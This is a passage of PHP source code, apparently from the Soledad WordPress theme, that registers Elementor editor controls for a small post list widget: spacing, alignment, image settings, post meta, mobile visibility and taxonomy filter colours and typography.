			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-hgap: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'vgap', array(
			'label'     => __( 'Vertical Space Between Posts', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-bgap: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'imggap', array(
			'label'     => __( 'Space Between Image & Content', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-between: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'vertical_position', array(
			'label'                => __( 'Vertical Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'render_type'          => 'template',
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner .pcsl-iteminer' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
		) );

		$this->add_control( 'text_align', array(
			'label'       => __( 'Content Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-content, {{WRAPPER}} .pcsl-flex-full' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'paging', array(
			'label'       => __( 'Page Navigation Style', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => 'none',
			'options'     => array(
				'none'     => esc_html__( 'None', 'soledad' ),
				'loadmore' => esc_html__( 'Load More Posts Button', 'soledad' ),
				'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
			),
			'description' => __( 'Load More Posts Button & Infinite Scroll just works on frontend only.', 'soledad' ),
		) );

		$this->add_control( 'paging_align', array(
			'label'     => __( 'Page Navigation Align', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'align-center',
			'options'   => array(
				'align-center' => esc_html__( 'Center', 'soledad' ),
				'align-left'   => esc_html__( 'Left', 'soledad' ),
				'align-right'  => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array( 'paging!' => [ 'none', 'nextprev' ] ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_image', array(
			'label' => esc_html__( 'Image', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'hide_thumb', array(
			'label'        => __( 'Hide Featured Image?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'imgpos', array(
			'label'   => __( 'Image Position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'left'  => 'Left',
				'right' => 'Right',
				'top'   => 'Top',
			),
			'default' => 'left',
		) );

		$this->add_responsive_control( 'imgwidth', [
			'label'      => __( 'Image Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ '%', 'px' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 600,
					'step' => 1,
				],
				'%'  => [
					'min'  => 0,
					'max'  => 95,
					'step' => 0.1,
				],
			],
			'default'    => [
				'unit' => '%',
			],
			'selectors'  => [
				'{{WRAPPER}} .pcsl-inner .pcsl-thumb'                                                                             => 'width: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .pcsl-imgpos-left .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right .pcsl-content'                       => 'width: calc( 100% - {{SIZE}}{{UNIT}} );',
				'{{WRAPPER}} .pcsl-imgpos-left.pcsl-hdate .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right.pcsl-hdate .pcsl-content' => 'width: calc( 100% - var(--pcsl-dwidth) - {{SIZE}}{{UNIT}} );',
			],
		] );

		$this->add_control( 'image_align', array(
			'label'                => __( 'Image Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner.pcsl-imgpos-top .pcsl-thumb' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'marin-right: auto;',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto;',
			),
			'conditions'           => [
				'relation' => 'and',
				'terms'    => [
					[
						'name'     => 'imgpos',
						'operator' => '==',
						'value'    => 'top'
					],
					[
						'name'     => 'imgwidth[size]',
						'operator' => '!=',
						'value'    => ''
					]
				]
			]
		) );

		$this->add_responsive_control( 'img_ratio', array(
			'label'     => __( 'Image Ratio', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
			'condition' => array( 'nocrop!' => 'yes' ),
		) );

		$this->add_control( 'disable_lazy', array(
			'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'thumb_size', array(
			'label'   => __( 'Image Size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'mthumb_size', array(
			'label'   => __( 'Image Size for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'nocrop', array(
			'label'        => __( 'No Crop Image?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'description'  => __( 'To make it works, you need to select Image Size above is "Penci Masonry Thumb" or "Penci Full Thumb" or "Full"', 'soledad' ),
		) );

		$this->add_control( 'imgtop_mobile', array(
			'label'        => __( 'Move Image Above The Post Meta on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'condition'    => array( 'imgpos' => array( 'left', 'right' ) ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_postmeta', array(
			'label' => esc_html__( 'Post Meta Data', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'post_meta', array(
			'label'    => __( 'Showing Post Meta', 'soledad' ),
			'type'     => Controls_Manager::SELECT2,
			'default'  => array( 'title', 'author', 'date' ),
			'multiple' => true,
			'options'  => array(
				'cat'     => esc_html__( 'Categories', 'soledad' ),
				'title'   => esc_html__( 'Title', 'soledad' ),
				'author'  => esc_html__( 'Author', 'soledad' ),
				'date'    => esc_html__( 'Date', 'soledad' ),
				'comment' => esc_html__( 'Comments', 'soledad' ),
				'views'   => esc_html__( 'Views', 'soledad' ),
				'reading' => esc_html__( 'Reading Time', 'soledad' ),
			),
		) );

		$this->add_control( 'primary_cat', array(
			'label'        => __( 'Show Primary Category Only', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'description'  => __( 'If you using Yoast SEO or Rank Math plugin, this option will show only the primary category from those plugins. If you don\'t use those plugins, it will show the first category in the list categories of the posts.', 'soledad' ),
			'label_on'     => __( 'On', 'soledad' ),
			'label_off'    => __( 'Off', 'soledad' ),
			'return_value' => 'on',
			'default'      => '',
		) );

		$this->add_control( 'title_length', array(
			'label'   => __( 'Custom Title Words Length', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'default' => '',
		) );

		$this->add_control( 'dformat', array(
			'label'   => __( 'Date Format', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				''        => 'Default',
				'timeago' => 'Time Ago',
				'normal'  => 'Normal',
			),
			'default' => 'timeago',
		) );

		$this->add_control( 'show_formaticon', array(
			'label'        => __( 'Show Post Format Icons', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'show_reviewpie', array(
			'label'        => __( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'show_excerpt', array(
			'label'        => __( 'Show The Post Excerpt?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'separator'    => 'before',
		) );

		$this->add_control( 'excerpt_length', array(
			'label'     => __( 'Custom Excerpt Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'min'       => 1,
			'max'       => 500,
			'step'      => 1,
			'default'   => 15,
			'condition' => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'excerpt_align', array(
			'label'       => __( 'Custom Excerpt Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'condition'   => array( 'show_excerpt' => 'yes' ),
			'label_block' => false,
			'options'     => array(
				'left'    => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center'  => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'   => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
				'justify' => array(
					'title' => __( 'Justify', 'soledad' ),
					'icon'  => 'eicon-text-align-justify',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-pexcerpt' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'show_readmore', array(
			'label'        => __( 'Show Read More Button?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'separator'    => 'before',
		) );

		$this->add_control( 'rmstyle', array(
			'label'     => __( 'Read More Button Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'filled'    => 'Default',
				'bordered'  => 'Bordered',
				'underline' => 'Underline',
				'text'      => 'Text Only',
			),
			'default'   => 'filled',
			'condition' => array( 'show_readmore' => 'yes' ),
		) );

		$this->add_control( 'rm_align', array(
			'label'       => __( 'Custom Read More Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'condition'   => array( 'show_readmore' => 'yes' ),
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-readmore' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'excerpt_pos', array(
			'label'      => __( 'Excerpt & Read More Position', 'soledad' ),
			'type'       => Controls_Manager::SELECT,
			'options'    => array(
				'below' => 'Below of Image',
				'side'  => 'Side of Image',
			),
			'separator'  => 'before',
			'default'    => 'below',
			'conditions' => [
				'relation' => 'or',
				'terms'    => [
					[
						'name'     => 'show_excerpt',
						'operator' => '==',
						'value'    => 'yes'
					],
					[
						'name'     => 'show_readmore',
						'operator' => '==',
						'value'    => 'yes'
					]
				]
			]
		) );

		$this->add_control( 'heading_show_mobile', array(
			'label'     => __( 'Showing on Mobile', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'hide_cat_mobile', array(
			'label'        => __( 'Hide Post Categories on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_meta_mobile', array(
			'label'        => __( 'Hide Post Meta on Mobile', 'soledad' ),
			'description'  => __( 'Include: Author Name, Date, Comments Count, Views Count, Reading Time', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_excerpt_mobile', array(
			'label'        => __( 'Hide Post Excerpt on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'hide_rm_mobile', array(
			'label'        => __( 'Hide Post Read More Button on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array( 'show_readmore' => 'yes' ),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_tax', array(
			'label' => __( 'Taxonomy Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'tax_listing_bgcl', array(
			'label'     => __( 'Taxonomy List/Content Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_scl', array(
			'label'     => __( 'Taxonomy List/Content Seperate Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-posts' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_heading', array(
			'label'     => __( 'Taxonomy Text', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'condition' => [ 'count!' => '' ],
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'tax_listing_typo',
			'label'    => __( 'Taxonomy Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-mtp-filters-terms ul li a',
		) );

		$this->add_responsive_control( 'tax_listing_spacing', array(
			'label'     => __( 'Spacing Between Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-mtp-filters-wrapper' => '--listspc: {{SIZE}}px' ),
		) );

		$this->add_responsive_control( 'tax_listing_bdw', array(
			'label'     => __( 'Taxonomy Term Border Width', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-mtp-filters-terms ul li a' => 'border-style: solid;border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->add_responsive_control( 'tax_listing_bdrd', array(
			'label'     => __( 'Taxonomy Term Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-mtp-filters-terms ul li a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->start_controls_tabs( 'tabs_tax_style' );

		$this->start_controls_tab(
			'tax_listing_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control( 'tax_listing_t_bg', array(
			'label'     => __( 'Taxonomy Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_bg', array(
			'label'     => __( 'Taxonomy Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a' => 'background: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_bdcl', array(
			'label'     => __( 'Taxonomy Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a' => 'border-color: {{VALUE}};',
			),
		) );

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tax_listing_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control( 'tax_listing_thbg', array(
			'label'     => __( 'Taxonomy Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_hbg', array(
			'label'     => __( 'Taxonomy Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a:hover' => 'background: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_bbg', array(
			'label'     => __( 'Taxonomy Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a:hover' => 'border-color: {{VALUE}};',
			),
		) );

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tax_listing_active',
			[
				'label' => esc_html__( 'Active', 'soledad' ),
			]
		);

		$this->add_control( 'tax_listing_tabg', array(
			'label'     => __( 'Taxonomy Active Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a.added, {{WRAPPER}} .penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id="all"]' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_abg', array(
			'label'     => __( 'Taxonomy Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a.added, {{WRAPPER}} .penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id="all"]' => 'background: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_abbg', array(
			'label'     => __( 'Taxonomy Active Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a.added, {{WRAPPER}} .penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id="all"]' => 'border-color: {{VALUE}};',
			),
		) );

		$this->end_controls_tab();

		$this->end_controls_tabs();

		// Count

		$this->add_control( 'tax_listing_number_heading', array(
			'label'     => __( 'Taxonomy Count Number', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'condition' => [ 'count!' => '' ],
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'tax_count_typo',
			'label'     => __( 'Taxonomy Count Number Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-mtp-filters-terms ul li a .count',
			'condition' => [ 'count!' => '' ],
		) );

		$this->add_control( 'tax_listing_count_thbg', array(
			'label'     => __( 'Taxonomy Hover Count Number Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'count!' => '' ],
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a:hover .count' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_count_tabg', array(
			'label'     => __( 'Taxonomy Active Count Number Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'count!' => '' ],
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a.added .count, {{WRAPPER}} .penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id="all"] .count' => 'color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_content', array(
			'label' => __( 'Posts Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'ver_border', array(
			'label'        => __( 'Add Vertical Border Between Post Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
		) );

		$this->add_control( 'ver_bordercl', array(
			'label'     => __( 'Custom Vertical Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-color: {{VALUE}};',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_responsive_control( 'ver_borderw', array(
			'label'     => __( 'Custom Vertical Border Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-width: {{SIZE}}px;',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_control( 'item_bg', array(
			'label'     => __( 'Post Items Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'item_padding', array(
			'label'      => __( 'Post Items Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'item_borders', array(
			'label'     => __( 'Add Borders for Post Items', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'border: 1px solid {{VALUE}};' ),
		) );

		$this->add_control( 'remove_border_last', array(
			'label'     => __( 'Remove Border Bottom On Last Item', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-col-1 .pcsl-item:last-child .pcsl-itemin' => 'padding-bottom: 0; border-bottom: none;'
			),
			'condition' => array( 'column' => '1', 'item_borders!' => '' ),
		) );

		$this->add_responsive_control( 'item_bordersw', array(
			'label'      => __( 'Post Items Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'side_padding', array(
			'label'      => __( 'Padding for Side Content of Image', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;'
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .pcsl-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'heading_pcat', array(
			'label'     => __( 'Post Categories', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'cat_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'cat_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'cat_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
		) );

		$this->add_control( 'heading_ptitle', array(
			'label'     => __( 'Post Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'title_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'title_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-content .pcsl-title',
		) );

		$this->add_control( 'heading_date', array(
			'label'     => __( 'Post Date ( for "Creative List" layout )', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'date_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-hdate .pcsl-date span' => 'color: {{VALUE}};' ),
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'date_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsl-hdate .pcsl-date span',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		// alt meta
		$this->add_control( 'heading_alt_meta', array(
			'label'     => __( 'Post Date', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [ 'column' => '1' ],
		) );

		$this->add_control( 'meta_alt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta.pcmtf-mt-alt span' => 'color: {{VALUE}};' ),
			'condition' => [ 'column' => '1' ],
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'meta_alt_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .grid-post-box-meta.pcmtf-mt-alt',
			'condition' => [ 'column' => '1' ],
		) );
		// end alt meta

		$this->add_control( 'heading_meta', array(
			'label'     => __( 'Post Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'meta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_color', array(
			'label'     => __( 'Links Color', 'soledad' ),
